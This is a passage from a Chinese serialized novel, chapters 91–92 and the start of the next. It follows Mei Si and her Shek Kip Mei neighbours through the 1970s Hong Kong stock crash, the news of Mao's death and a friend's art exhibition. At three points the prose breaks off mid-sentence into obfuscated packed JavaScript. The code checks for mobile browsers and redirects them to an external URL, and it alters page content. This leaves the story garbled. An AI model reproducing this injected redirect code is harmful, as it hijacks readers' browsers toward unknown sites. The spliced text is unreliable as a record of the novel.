李宗仁啊,广西名人,他的动向自然给乡人关心,国民政府垮台之后,他没有随着去TW,而是逃亡美国,一待就是十几年,前些年回到XX政权之下,当时在广西同乡之中很是轰动,只可惜没几年便过世了,如今他的原配李秀文也回了大陆,那是李宗仁的正室夫人,身份不同寻常,因此前些天报纸上登出,李宗仁原配回归桂林,登时便在广西人中引发议论。 白明珠冷笑一声:“爱国嘛,想来也是爱的,美国那日子,只怕也真是难过,他倘若还是有钱,我不信就容易肯回去。” 时光流逝,卷土重来日益渺茫,他在本土,割据一方,自有滚滚的财源,那钱仿佛花不完似的,到了美国,可怎么来钱呢?这便是坐吃山空。 香港市面上的物价,自己早已经看到了,美国自然比这边更贵,纵然带个金山银山过去,也禁不住长年累月的消磨,所以李宗仁回归故里,说他爱国呢,或者也是吧,然而自己总以为,单是为了钱这件事,也很该考虑回国。 听了夫人的评论,邹千里连连摇头:“肤浅,太肤浅了。” 终究同根同源,自家兄弟,有什么永世不可解的冤仇?代总统毕竟不同于普通人,眼界开阔,胸怀宽广,能够和解,便开了先河,大夫人如今承继代总统的风范,也回归祖国,这是拳拳的爱国之心,怎么给自己的夫人说成是只为了担忧柴米?实在是庸俗市侩。 白明珠伸出一根手指,指点着丈夫:“你不要和我扯这些幺二三四五,你可想想你那股票,我赔一点倒还罢了,你那是借了钱买的,亲朋好友,怎么见面?倘若香港实在住不下去,我们只怕也得‘叶落归根’。” 邹千里原本鼓足的劲头,登时便泄了下去:“你在说些什么?虽然小小地有所挫折,但香港的经济还是好的,股票迟早要再涨起来,迟早要再涨……” 简直是美国大萧条的重演,盛极而衰啊,只是一夕之间,股市便趋向崩溃,如今眼看到年底了,恒生指数还不见回升呢,当初梅思清空了手中的股票,自己还笑她杯弓蛇影,只为看了几本美国大萧条的书,便疑心香港也是这样,哪知发傻的竟然是自己。 连太太都数落自己:“成天说经济经济,哪知自家竟给圈了进去,我自然是个没有学问的,没在美国什么大学留学过,学现代的金融经济,你却也糊涂了,整天打雁,给雁啄了眼睛。” 自己能说什么呢? “这就是‘善泳溺水’,我自负学有专长,到头来竟不如梅小姐。” 白明珠便在一旁微微冷笑,这件事你自然不如梅小姐,你还有许多事不如她呢。 香港的股票市场到这一年终了,都没有起色,竟然越来越糟糕了,以至于转过年来,一九七四年,一月二十二号除夕这一天,贺健莲揉着面团,仰头哀叹:“怎么居然这个样子?已经过了这么些时候,半点都没缓过气来,一个人病得再厉害,多半年也该将养过来,总该有些活人气儿,这股票却好像越来越不行了,上个月底,四百多点啊,比原来的八百点还不如,拦腰又砍掉一半,从前最好的时候,我记得一千七百多点呢,这是一半的一半啊,让人的心里这个疼。” 廖长民在旁边“咚咚咚”斩骨头,低了头一声不吭。 贺健莲耳膜里面打鼓,兀自止不住地说:“得说我们也是好悬啊,幸亏她梅姨早早把股票都卖了,落得安心,你看看鄂先生家里,这个凄惨哦,但凡是他家的人,都不见有笑脸,林鹃都已经出了门子了,每次回来还是陪着发愁,怎么就都赔光了呢?今天她一家定然还回来,这个年不知要怎么过,每逢佳节啊,赔了钱就更比平常惨些。她梅姨去年过年前就卖完了股票,她那时就过了个安稳年,半点不操心的,今年更是妥妥的了,那股票跌到底,也与她无干。” 廖长民这时候停了手上的砍排骨,把刀往菜墩子上一放,转头对她说:“早对你说不要多管,你既然信她,就听她安排,不然就把钱拿回来自己买,你如今把事情托给她,又要插手,管东管西,什么意思?” 让梅小姐看着,心里也不舒坦,显得小家子气,你从前在咱们庄子上那股豪迈劲儿,都到哪里去了?那时候的贺健莲可真是,男人都不如她,说到贺健莲,各个要挑大拇指。 贺健莲噎了一下,叹口气道:“我何尝不知道这个?用人不疑,疑人不用,一不做来二不休,只是我想着咱们的那份钱啊,硬生生躺在那里睡大觉,不生利息,我又想啊,倘或当初梅小姐竟然没给抽出来,也学人家一般给赔了进去,这些年的心血啊,想一想我就后怕,半夜都做噩梦。” 贺健莲也知道,自己如今是比不得从前了,初来香港那些年,虽然艰难,但豪气不减,比男人还有气概,然而这些年,或许是年纪大了,就连自己也感觉到,那志气一天比一天衰减了,已经年过半百,身子骨儿和头脑都不行了,倘若沉了船,再难翻身,所以有时候不由得便显得小家子气,连自己都瞧不起自己,这大概便是梅小姐说的,“英雄迟暮,穷途末路”。 年夜饭是最隆重的,从下午三四点钟就开始准备,到五六点,楼里面锅碗瓢勺叮叮当当响成一片,如同交响乐一般,梅思在屋子里,莫名便想到了延安的晚会,大礼堂里风琴声。 夜间过了八点,七层大厦之中依然吵闹,这时候多数人家已经吃过了团年饭,支起桌子开始打牌,稀里哗啦搓麻将的声音,梅思煮好了一壶茶,便坐在那里静听外面的声音。 八点三十几分,有人轻轻敲门,梅思起身过去开了门:“呀,归生,过年好。” 归玉树笑着拱手:“梅小姐,新年大吉。” 梅思请他进来,归玉树走进门,坐在椅子上,转头四望:“梅小姐的地方,还是这样清雅。” 梅思一笑:“清雅什么?锅碗瓢盆都堆一起,不过是维持生活罢了。” 归玉树双目望着她,虽然如此,但气息不同,面上轻轻笑着:“我听说要拆石硖尾旧楼,盖起新楼来,大家可以搬新屋,便宽敞得多了。” 梅思哈哈一笑:“我也听见这样说,那自然是很好,只不知什么时候轮到我们这里。” 归玉树笑道:“既然有这样的提议,想来迟早要做,这边的楼这许多年,如此老旧过时,早就该拆,就算不拆,也该改一改格局。” 两个人又谈几句,职业与家庭,归玉树走到窗边,将窗帘拉开一些,静静向外望了片刻:“也是万家灯火呢。” 石硖尾如此简陋的地方,此时夜色漆黑,掩盖了白昼的破败,望出去一片灯光,星星点点,从各个窗口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过岳父劝他:“梅小姐另有房产,哪怕股票不赚钱,她靠房租也能过,况且她又是独个一人,你家里几个孩子,都要靠着你们两个吃饭,倘若股票有变更,你可怎样办呢?辞了这家,难找下家,莫非再求梅小姐?我看梅小姐这些年一直在家,只怕难有当年的情面。” 归玉树虽然不喜欢林鹃的拦阻,对岳父的话还是肯听的,仔细想想,确实该求个万全,于是便将这个念头暂时搁下,如今一看,幸亏如此,自己两个同事辞工炒股,上个月差一点要跪求回厂。 父亲出了声,林鹃不好再多说,微微冷笑两声,又走回牌桌边,手搭着妹妹的肩膀替她看牌。 林鹃的面色神情,归玉树自然看到,心中明白,只觉得没意思,闷闷地拖过一只椅子坐了,捡一卷书来擎在面前,眼睛在上面乱扫。 自己去探望梅小姐,何曾有什么?纵然当年一腔情意,这么多年也早已淡了,与梅小姐是不可能的,虽然住在石硖尾,然而梅小姐便如同谢道韫,林下风气,不染尘俗,在这烟熏火燎的贫民楼里,她也如同处于烟霞泉石之间,仿佛古时候的竹林七贤,实在超脱,在这扰攘的人世,她的那一间小屋,便是自己的精神故乡,每年除夕去待上片刻,一整年的庸俗辛劳便都可以应付。 林鹃一只眼睛看牌,另一只眼睛瞄着丈夫,看了一会儿,嘴角往下一耷拉,撇起嘴来,我自然是不疑心你与梅小姐还有什么旧情,梅小姐看着也不是那样的人,那是仙女一般的人物,不是你一个凡俗的男人可以想的,我只气不过你怎么就这么想往那边去?家中到底哪里不好,心心念念别人的屋子?仿佛是个神仙洞府,每次倒是呆不久,不过十分八分,说几句话就回来了,然而就是这几分钟,好像就能给你续命,你这么想过清闲日子,当初为什么结婚?如今倒是嫌家里乱了。 林鹃越想越是不忿气,胸中气血翻涌,她伸手从妹妹手里抽出一张牌,丢在桌面:“就出这张K!” 妹妹叫道:“我不要!” 林鹃霍然站起来:“我出去走走。” 瞿明端一盘粑粑过来:“这就吃烤粑粑,你去哪里?” 林鹃回头笑:“给梅小姐拜年。” 归玉树心头登时就是一跳。 91.第九十一章 巨变 第九十一章 巨变 人人都期待新的一年里,股票会有转机,然而这一年情势不但没有缓和,反而更加糟了,到了七四年底,报纸上恒生指数已经跌到一百五十点。 “香港的股票,不会就这样全没了吧?”贺健莲手里还是纳鞋底子,满脸忧心忡忡。 梅思手里拿了一张《信报》,眼睛溜着上面的字,和她讲:“世界形势不好,石油危机,通货膨胀……” 贺健莲右手掐着针用力一挥:“俺也听不懂那些,又是什么阿辣伯,又是以丝列的,她们两家打来打去,耽搁我们赚钱,也不知要到什么时候能打完。” 梅思放下报纸笑道:“仗是早就打完了,只是影响一直到现在。” 去年中东的战争,时间其实蛮短,还不到一个月,只是之后石油禁运,全球石油价格上涨,这样那样,经济就危机了,香港只是世界经济的一个小小部分,这一次全球经济危机,自然难以顶过,股市就一直在谷底徘徊着。 贺健莲叹一口气:“厉害的称王称霸,我们给人填坑。” 梅思点点头,这便是“龙斗虎伤,苦了小獐”,哪一边都不是善茬,倘若是没什么本领的,便要在中间化了灰。 好容易到了一九七五年,或者是“物极必反”,香港股市在跌到底之后,竟然渐渐恢复了,梅思每天看《信报》,上面分析全球经济开始走出萧条,她便回到远东会,重新入市。 交易厅里遇见尹宗翰,尹宗翰脸上终于带了笑意:“梅小姐,真不容易啊!” 梅思笑道:“好容易等到今天,去年年底,险一险就要跌没了。” 尹宗翰心有余悸:“一百五十点啊,当时同行都在说,若是还不见起色,便要顶个木盘,给人家送饭去。” 梅思哈哈地笑,中环“包伙食”送餐啊,倒也是街头一景。 然后便打趣他:“尹生的好时光到了,各处在说‘股王’。” 尹宗翰笑着摇头:“什么‘股王’,不过侥幸罢了,还多亏了梅小姐。” 股票升到顶点,梅思提早退场,自己想着她整日里说的什么“美国大萧条”,虽然眼前实在闹热,这种话听得多了,心里也不由得有点毛毛的,感觉这股价涨得确实有点吓人,便劝说几位大客户卖掉部分股票先套现,后来假股票新闻一出,自己脑中登时现出“来了”两个字,没几天便全部清空,替客户保住了财产,这件事在股票市场之中传扬,都赞他有先见之明,又能当机立断,堪称“王牌经纪”,传着传着,就变成了“股王”。 股市冷清,这个头衔当然无益,如今股票看看又要涨了,来找他的人自然增多,想到未来的佣金,尹宗翰止不住地乐。 整个一九七五年,梅思赔赔赚赚,到年终算账,赚了六十几块,合上账本,喜滋滋只等春节之后,远东会再开市。 七六年果然也是不错,便如同一个久病的人,逐渐恢复了元气,贺健莲一颗心也放在肚内。 九月九号这一天是礼拜四,贺健莲前两年,已经不再在工厂做工,在楼门前开了个凉茶铺子,一副山东腔卖广东凉茶,因她是多年老街坊,生意倒也不坏。 梅思午后四点多从远东会回来,便来她这里坐,贺健莲一看到她,便提起一个大茶壶:“还是罗汉果雪梨么?” 梅思笑着答应:“是啊是啊,这个天气,喝这个清润些。” 贺健莲倒一碗茶给她,梅思坐下来慢慢喝茶,一面看着周边:“学生们这种天气温书,也要凉茶提提神。” 贺健莲一拍大腿,乐得哈哈的:“啊哟,她梅姨,你信她们都这么爱读书?一个个都等着看电视剧,当初为了看《射雕》,晚饭都不吃。” 终究是厚道人,那场面不是没见过,却还是往好处说。 电视机里面哇啦哇啦地唱着歌,梅思咯咯地乐:“健莲姐做生意有头脑,在铺子里摆了这么一台电视,还带颜色,大家自然爱看,稍停到了晚上,许多人到你这里来喝茶看电视。” 贺健莲也很是得意:“早些年我就在琢磨,人家凉茶铺放个原子无线电,就能招引许多客人,如今有了电视了,彩色的都出来了,不如我便开一家铺子,卖凉茶放电视,街坊们晚上回来,看看电视喝喝茶,也打发时间,这不是连梅小姐都爱看?” 梅思抿嘴笑:“也亏了你肯下这样大的本钱。” 贺健莲咧开嘴乐:“俺是想着,股票赚不来钱,那钱不能白放着,不如就开个凉茶铺,备办茶壶草药,是股票抽出来的本钱,电视机是大柱二妮两个娃娃孝顺,凑出来给我。” 梅思点头:“健莲姐很懂得经济金融,钱如果闲置,便是浪费。” 果然不愧是胶东豆腐坊老板娘,别看没读过书,天生的商人头脑,看到了电视机,就想起了无线电,商店里是四五年前,才刚刚见到彩色电视,她去年便买来一台,摆在凉茶铺里,果然招揽生意,彩色电视啊,虽然不是天价,石硖尾的人要买也得忖量一番,更兼房屋狭小,纵然有钱买,比如自己,屋子里也摆不下,所以便不如到贺健莲的铺子来看。 健莲姐开凉茶铺,额外还有一个便利,就是她一双儿女都在差馆,□□不会来她这里收保护费。 唯独有一个烦恼。 “廉署这一向还是追得紧么?” 一提起廉政公署,贺健莲眉头紧皱:“可不是么,整天追贪腐,要说有一帮头目,包娼庇赌,着实该抓,只是像是大柱这样的小角色,能做些什么?整天也是提心吊胆。那些大的都跑掉,留下他们小的顶缸,我就同他说,不如不要做了,回来凉茶铺子里帮忙。” 梅思笑着宽慰:“大柱向来洁身自好,很谨慎的,想来不会有大事。” 贺健莲面色稍放松些:“我也是这么说,他当差这么多年,要说突然不做,也不容易,莫非就只守着这么个凉茶摊子?他一个年轻轻的男人,也没意思。啊哟她梅姨,我差一点忘了,刚给你做得了一双鞋,天要凉了,你穿着吧,走路比皮鞋轻便些。” 梅思接过那一双青布面千层底的鞋,口中道谢,心里不知怎么,便想起小说中的情节,老百姓给解放军做鞋,支前模范,听老同志讲,在根据地,妇救会也是给八路军做鞋,只是在延安,自己少有遇到,衣服鞋袜都是公家发给。 就在这时,电视机里奚秀兰的“门边一树碧桃花”忽然停止,换上了严肃庄重的声音:“今天下午16:00,北京消息,□□主席逝世……” 凉茶铺里登时安静许多,本来还有几个学生在嬉笑玩闹,旁边大人阻止了她们:“嘘,毛主席死了。” 梅思霎时愣住,目不转睛盯着屏幕,主持人的嘴依然一张一合地说话,她却半个字都没有听进耳朵,脑中只是回荡着方才那一句话,“□□主席逝世”。 贺健莲也怔怔的,过了半晌,才仿佛渐渐清醒,却依然好似半梦半醒,喃喃地说:“那个人死了,他死了,那样一个人,也会死么?” 转而重重叹道:“哪怕他是真的死了,咱们也回不去胶东老家。” 十一号礼拜六,梅思不必去远东会,一整天便都待在梅林之中。 梅子已经过了最盛的时节,枝头却仍寥寥挂着果实,鸟雀在梅树之间跳跃,发出叽喳的叫声,梅思坐在草地上的圈椅里,膝头放了厚厚一本书,是《毛主席诗词》,一九六三年十二月出版,当年大陆出了这本书,香港这边书店不多几个月便看到了,梅思在店内把封皮摩挲良久,终于买下,这些年一直放在梅林之中。 梅思慢慢翻开书页,是一首《满江红》,主席应和郭沫若先生的一阙词,“蚂蚁缘槐夸大国,蚍蜉撼树谈何易”,是主席惯有的气魄,离别延安已经数十年,昔日在延安报告会上看到的主席风采,宛在眼前,主席就是这样一个人,能够鼓舞人,让人涌起无穷的激情,那是一个无所畏惧的人,“小小寰球,有几个苍蝇碰壁”,仿佛从来没有犹豫与沮丧,即使有,也不曾给人发觉,他是那样的充满豪情,一生都在战斗,“要扫除一切害人虫,全无敌”,他的事业究竟是胜利还是失败,或许有不同的判断,但他从不曾屈服。 这是一个充满力量的人,他的这种力量与信念,是梅思缺少的,也是她深深憧憬的。 一页页诗词翻过去,许多念头杂乱地涌入脑海,是各方对这件事的评论,主席逝世已经过去两天,这两天无论报纸杂志,电视无线电,都是在议论东方的这位英雄,时代的巨人,中国的太阳,无论赞同还是反对,他都给世界带来深深的影响,是一个让人无法忽视的人物,他改变了中国的历史,也改变了世界历史。 想到在延安时,曾经与主席如此近距离相对,梅思心潮澎湃,那是一个充满光与热的人,仿佛一颗恒星, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14837222|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吸引着周围的人,如同行星一般围绕着他旋转,如今,太阳之火熄灭了,在梅思心中,一个时代便结束了,无论中国之后是由谁来引导,都不能与□□相比。 梅思深深地吸了一口气,放下主席的诗词,拿过笔记本,手握铅笔,埋头沙沙沙地写了起来,不时涂涂抹抹,一个多钟头之后,一篇回忆文章写好了初稿。 梅思抬起头来,用手揉捏了一下僵硬的脖颈,垂头写字这样久,后颈发疼发硬,或许该在梅林中安放一张小书桌,她再转头看一眼石灶上,砂锅的气孔已经钻出蒸汽,揭开盖子,青梅煨鸡汤正在咕嘟咕嘟冒泡。 从梅林中回来小屋,已经将近午后一点,热气腾腾的鸡汤放在桌面,她正吃着鸡汤泡饭,忽然有人拍门:“梅姨在家么?” 梅思忙起身开门:“呀,彩霄,你来了!快进来坐。” 进门来的是招娣,早已经改了名字,叫做“彩霄”,非常诗意,也有点过于文雅,母亲苏凤香便骂她:“偏侬能作怪,叫‘招娣’难道不好?那么多女孩子,不都是叫的这个?多读了几本书,便嫌土气,硬要改了,改的这个名字,好像小说里的人。侬倒是收收心,别一天到晚只顾了画画,赶紧找个男人,嫁人生孩子过日子要紧,林先生等不得你,已经走了,女人容易老,四十转眼便到,还不嫁怎么办?一家子都窝在这里,倒是比石硖尾还挤。” 梅思倒是觉得,这名字还好,虽然有些矫情,太过文艺,不过招娣那么爱画,虽然整日在律政署记人家打官司,也可说颇有艺术气息了,取一个这样的名字,倒也不很奇怪。 彩霄坐在塑料椅上,笑嘻嘻从皮包里取出一个瓶子:“姆妈做了这个给梅姨。” 梅思一看那玻璃瓶里金黄色浓稠的半流质,便惊叹:“秃黄油么?要你们破费了。” 彩霄咯咯地乐,前仰后合:“我就猜梅姨肯定想错的,是我姆妈前些天忽然有了主意,用咸蛋黄做的,第一回因为试手,没敢多做,只用四只蛋黄,居然成功,这一次便买了二十只咸蛋,挖了蛋黄出来做酱,拿给梅姨尝尝。” 梅思于是也笑:“原来是蛋黄酱,那倒也和秃黄油差不多。” 咸蛋啊,人家餐桌上常见的下饭菜,尤以蛋黄最为出彩,腌到冒油,实在美味,梅思便很喜欢吃流油的咸蛋黄,一颗蛋的精华,余下蛋白,便索然无味。 梅思顺口便问:“那些蛋白怎样了?” 彩霄笑道:“早饭连吃了几天白粥鸭蛋白,好在家里人多,总算吃完了。” 梅思笑着说:“这倒是人口多的好处。” 不担心剩菜剩饭。 说了几句蛋黄酱,彩霄终于转到正题:“我下个礼拜要开一个画展,梅姨有空去么?” 梅思听了,当即点头:“哪一天?只要没有意外,我必然到的。” 彩霄道:“礼拜五的晚上开始,后面礼拜六、礼拜天两天,就在油麻地,大都会画廊。” 说着递上一张纸条,是手写的邀请函,“彩霄女士个人绘画首展”,后面注明地址,年月日。 梅思接过来从头到尾细看了一遍,便夹在桌面上大辞典之中,向她保证:“我到时必去的。啊,你吃了饭没?现成有鸡汤,米饭也还有,盛一碗你吃。” 彩霄笑着摇头推辞:“我已经吃过了,梅姨你快吃吧,今天怎么这样晚?一点多了才吃饭,你每每提点我们,三餐要定时的。” 不然伤脾胃,梅姨对身体,那可是相当注意。 梅思笑道:“今天写一篇小文,不知不觉就到了这时候,好在鸡汤多煮一阵,倒更有味了。” 彩霄忙问:“梅姨写了文章么?快给我看一看,好久没看梅姨的文了。” 梅思回身拿来给她:“刚写好初稿,还没来得及誊,幸好是你,不然别人也看不得。” 都是速记。 又说:“虽然吃过了,再喝一点鸡汤,想来胃里面也有容量,我盛一碗鸡汤你喝。” 彩霄说着“自己来”,接过梅思递来的碗,自去瓦罐里装鸡汤,坐在梅思对面,拿一只不锈钢勺子喝汤,两眼盯着稿子:“梅姨如今还是这样喜欢梅子,这青梅鸡汤好喝,又鲜又醇,梅子解腻。啊,毛先生过世,大家都在说这事,只可惜画展的日子早已定了,不好忽然改期的,否则我真不愿赶在这个时候,只怕来看画的更少了。” 92.第九十二章 为了羊肉渴望冰箱 第九十二章 为了羊肉渴望冰箱 彩霄的画展是从十七号晚上开始,梅思当天下午从远东会出来,在街头餐厅吃过饭,便直奔庙街,拐了几个弯,又向人打听,终于在一个巷子尽头找到画廊。 “大都会画廊”啊,名字倒是气派,只可惜门面实在朴素,普通的木板门,上面挂了小小一块牌子,白底绿字,又是在这样一个地方,小巷深深,仿佛隐士一般,好容易才找到了。 望着那小小的牌子,梅思脑中的念头是,这种地方不要说开画廊,便是开个豆腐坊,都嫌太冷清了,也难怪彩霄担心没人来看画。 走进画廊的门,彩霄就站在门口接待,见有人来,立刻迎上前:“啊梅姨,你来了,还以为明天才会过来看,今天也去远东会么?” 梅思点头:“大盘不错。” 彩霄笑着又问:“晚饭是怎样吃的?” “街边大家乐。” 彩霄很感知音:“包我们食堂的,偏巧也是她家,我顶爱猪扒饭,好大一块猪扒,又不贵。” 梅思环顾四面:“有多少客人?” 彩霄收了笑容,叹一口气:“梅姨你都看到了,你是第一个来看画。” 梅思宽慰道:“刚刚开门呢,等一等便会有人来。” 最起码,自己邀了昔日同好,贾文庸方燕茹她们全都收到自己的帖子,纵然这个没空那个有事,十几个人里面总能来两三个。 梅思到这里是七点多一点,在画廊一直待到过了九点半,来看画的果然寥寥,有两个是晚间散了工,回家路上进门看看,以为是新开的食肆:“有什么吃的么?啊,是卖画。” 彩霄与梅思相对苦笑。 望着那两人的背影,梅思说:“收工这样晚,回到家将近十点,家里有人煮饭还好,若是回来还要自己烧饭,真是劳神。” 彩霄便笑:“所以我便是要住在家里。” 有姆妈烧饭。 梅思笑着问:“你姆妈还是在催你结婚么?” 彩霄耸耸肩头:“可不是么。” 梅思劝道:“她说什么,听听便算了,一家这许多人,也难怪她愁烦。” 彩霄乐道:“我如今已练成一副本事,说话只当耳旁风,梅姨,我这一向发觉,我姆妈倒未必真愁我不嫁,她想快一点让我出去是正经。” 孩子一个接一个地生,连来娣带宝庆,两对夫妻已经有了五个孩子,家中如同跑马场,所以姆妈这两年已经不常骂自己,倒是一看到来娣,就要数落:“都已经嫁了人,还赖在阿拉这里,赶快给阿拉搬了出去!” 这种时候,自己往往把脸埋在书里,或者画稿后面,偶尔甚至偷偷地笑,直到姆妈看到角落里的自己,再发泄一句:“比招娣还不争气!” 于是自己也就不想笑了。 又过一阵,梅思看看手表,十点多了,便问:“还要再等等吗?” 彩霄也看看表,摇头道:“估计不会有人来,我们回去吧。” 礼拜六和礼拜天,梅思两天都去了画廊,那里原本有两把椅子,彩霄不知从哪里找来一只白色塑料圆桌,半旧了,小小的,但可以摆水壶水杯,两个人就坐在桌边,喝茶闲谈。 礼拜六,来的人寥寥,早上有妇女挎着竹篮进来:“啊哟,许多画!” 彩霄立起来招呼:“出街买菜么?请看看画,散心解闷。” 那几个阿嫂便提着菜篮,从东到西地逛,边看便大说大笑,画廊不大,但摆得密密麻麻,足足兜了十几分钟才略看了一遍:“啊哟已经这个时辰,要赶快回去,预备料理午饭。” 送走了她们,彩霄便回来继续与梅思谈天。 下午,蔡静怡来了,大家说了一阵话,又有彩霄的几个同事出街到这边,特意寻到画廊看了看。 最热闹是在礼拜天,下午两点多,白明珠与邹千里一起来了,梅思赶快携着彩霄来接待:“先生太太,果然来了,亏了你们能找到这里。” 邹千里微微含笑:“果然是难找,问了几个人呢。” 白明珠看着四面:“怎么租了这么个地方?” 墙皮都脱落了。 彩霄也无奈:“都是为了便宜。” 有些哀伤又有些惭愧。 梅思与彩霄陪伴这两位贵客,一幅画一幅画地看,邹千里评点:“画了许多年吧?很有意境。得说你们年轻人的画,虽然也是国画,比当年不同了,这一幅雨后的彩虹,很是别致。” 作为留美派,邹千里本来是对于西洋的油画更有感觉,以为更加有生活的趣味,而中国画,纵然是丹青,仍然嫌它太寂寞了,好像远离人世一般,不过这些年在香港,或者人终究是有了年纪,便对本国传统的东西发生亲近。 香港虽然是殖民地,国学倒还传承着,中医啦,国画啦,自己空闲时也看画展,或者看朋友作画,对于技法的水平还不好品评,但风格很可以讲一讲,梅思的这一位朋友,不但能东能西,画油画也画水墨,而且选材新颖,除了国画传统的花鸟山水,还画香港的大街小巷,摩登都市,这就显出趣味来。 要说山水花鸟呢,当然也是好的,相当的雅致,不过看了几百年,毕竟不新鲜,便想要换换口味,画者显然擅长素描,工笔也好,这幅彩虹图栩栩如生,色彩艳丽到夸张,有一点好像日本的浮世绘。 正在看着,又有人来。 “啊,曹先生,欢迎欢迎!” 是曹蔚然,搓着手说:“好难找!” 梅思两边给介绍:“这是邹先生,白太太。这位是曹先生,商报的编辑。” 邹千里忙道:“幸会幸会。” 白明珠:“曹先生了不起。” 曹蔚然笑着客气了几句。 大家看画,曹蔚然便说到这一阵的新闻:“毛主席故去了,就好像梅小姐那一篇文章里说的,这也是理想主义的终结,整整一代人甚至几代人的梦想,随之暗淡了。” 梅思笑道:“我可没想到这样深,我只是觉得,没有了他,中国就不一样了。” 邹千里挑了挑眉毛:“这一向少看梅小姐的文章,又写了什么?” 梅思道:“是回忆毛主席的一篇小文。” 曹蔚然便将梅思那一篇文概要说了。 邹千里了然:“原来如此。梅小姐对毛先生,很是敬佩的了。” 梅思叹道:“我只遗憾自己不能如他一般,那样有勇气,义无反顾。” 邹千里看了看她,你也是可以的了,就好像金圣叹说林冲,“算得到,熬得住,把得牢,做得彻”,那也是挺厉害的。 看了一圈画,几个人坐下来一起喝茶谈心,中间归玉树也来看画,彩霄高高兴兴招呼:“归叔来了!” 梅思笑道:“归生也来捧场。” 归玉树也笑:“石硖尾老邻居,自然是要来的。” 梅思又问一句:“林鹃没有来?” 归玉树似乎并不在意:“家里一堆事要忙。” 把场地兜完一圈,归玉树也坐下来闲谈,一聊就聊到五点,各自起身要散去,归家吃饭,邹千里指点着墙面:“这一幅,还有那一幅,我买下了。” 曹蔚然也买了一幅画。 归玉树左看看右看看:“我本来也想要买一张画,只可惜家中狭小,没有地方挂。” 彩霄连忙道:“归叔能来,已经很感激。” 不能捧钱场,起码捧了个人场,有这许多人在这里说说笑笑,一扫之前的冷清,显得不那么没落。 白明珠这时已很熟悉,毫不客气地数落:“要我说,宁可破费一点,也该找个热闹的地方,小一点不要紧,重要的是往来许多人,像这里,门前一天走不过十个人去,你在这里开画展,能有几个人来看?” 全是靠着熟人凑人头,看着花钱少,然而那几个钱却也都丢到水里。 彩霄苦笑:“太太说得对,倘若有下一回,狠狠心租在中环那边。” 这几位客人走了,画廊里又安静下来,彩霄问:“要吃些什么?” 梅思道:“就是巷子口林记,车仔面顶好的,昨天吃了,今天还想吃。” 香港毕竟不一样了,如今在外面推车子卖面的,渐渐看不到,多数都进了店面。 彩霄便出去叫了两碗车仔面,付了账,叮嘱老板娘送来里面画廊。 她出去了,屋子里便只剩梅思一个人,她站起身,走到墙边,抬头又看画,是一幅油画,晨市图,红色的朝阳之下,挑担卖菜卖鲜鱼,士多店开了门,有人煮鱼蛋在卖,还有人边走边吃菠萝包,古典现实风格,照片般逼真,又有一种浪漫,仿佛透过彩色镜片来看。 不多时,彩霄回来,梅思转头对她说:“这一幅画,我买下了。” 彩霄起先一愣,马上便说:“梅姨,你喜欢,我便送你,本来就想着要送一幅画给你,算作这一次的纪念。” 梅思笑道:“你不要客气,这一回你办画展,花了不少心血,我不能白拿你的,我是真的喜欢这幅画,所以才要买。” 彩霄又劝说了几句,见她执意要付钱,便不再坚持,笑着说:“还以为梅姨喜欢那幅梅花图。” 当年顶爱画梅花。 梅思摇头:“虽然也是很好的,不过……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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大半天的时间,梅思都在料理羊肉,几十斤的肉,自己一个人,一天肯定是吃不完的,纵然各处分送,总还要余下十几二十斤,这些肉只好用盐巴腌了,熏成干肉,大好一个大年三十,就在烟熏火燎之中过去,虽然是偏爱人世的烟火气,但这也着实太耗时间,更何况还是这样一个佳节,很该将大把的时间,都用来消闲才好。 一边往羊肉上抹盐,梅思一边想着白明珠的家,客厅一角那一个大冰箱,东妹姐每次去菜场,买回东西来,就往冰箱里面一塞,鲜鸡肥鸭可以存好久,只不过她家要吃新鲜的,便一般不会买许多,一两天便要到市场采买。 大冰箱对于自己,却正有这般用途,专门冻羊肉,梅林间已经满是山羊,都在那里散漫徜徉,这许多年,虽然对羊肉怀有特别的情感,却鲜少食用,就为的一只羊几十斤肉,保存实在麻烦,因此多是吃鸡鸭河鲜,一只鸭子,一个礼拜总可以吃完,做腊鸭也终究比熏几十斤羊肉省事些。 然而还是很想要冰箱,腊鸭也嫌烦,若是有冰箱,宰了鸭子分割开来,一块一块鸭肉就往冰箱里面一放,想吃的时候取出来,多方便呢,只可惜没有,倒不是自己付不起钱,只是房间这样小,怎样放冰箱呢? 素琴大姐当年在香港,回忆故乡,饱含深情,猛拍一下大腿:“嘿!咱们东北那嘎达,哪用得着什么冰箱?数九寒天把肉往院子里那么一扔,就埋在雪堆里,不一会儿就冻得梆梆儿的,那还会怕肉坏了?犯愁的是没钱买肉!” 大家便哈哈地笑,自己也抿嘴笑:“难怪姐姐不亲近熏肉。” 梅林之中,冬天也是冷的,走在里面,要穿薄棉袍才好,只是还不到滴水成冰,新鲜的羊肉在里面,不能放许久,倘若是做熟了的,倒是能放一两天,然而终究是让人心中不足。 忙碌了一个上午,到午间,梅思终于可以坐下来,享用这几个小时的工作成果,桌面上摆着的热气腾腾的一小盆,是梅香羊肉,胡萝卜、青豆和羊肉放在一起,又加几颗梅子,在石灶上煨了两个钟头,炖得酥烂,汤汁也将收尽了,那一点浓稠的肉汤最后拿来拌饭,很是可口。 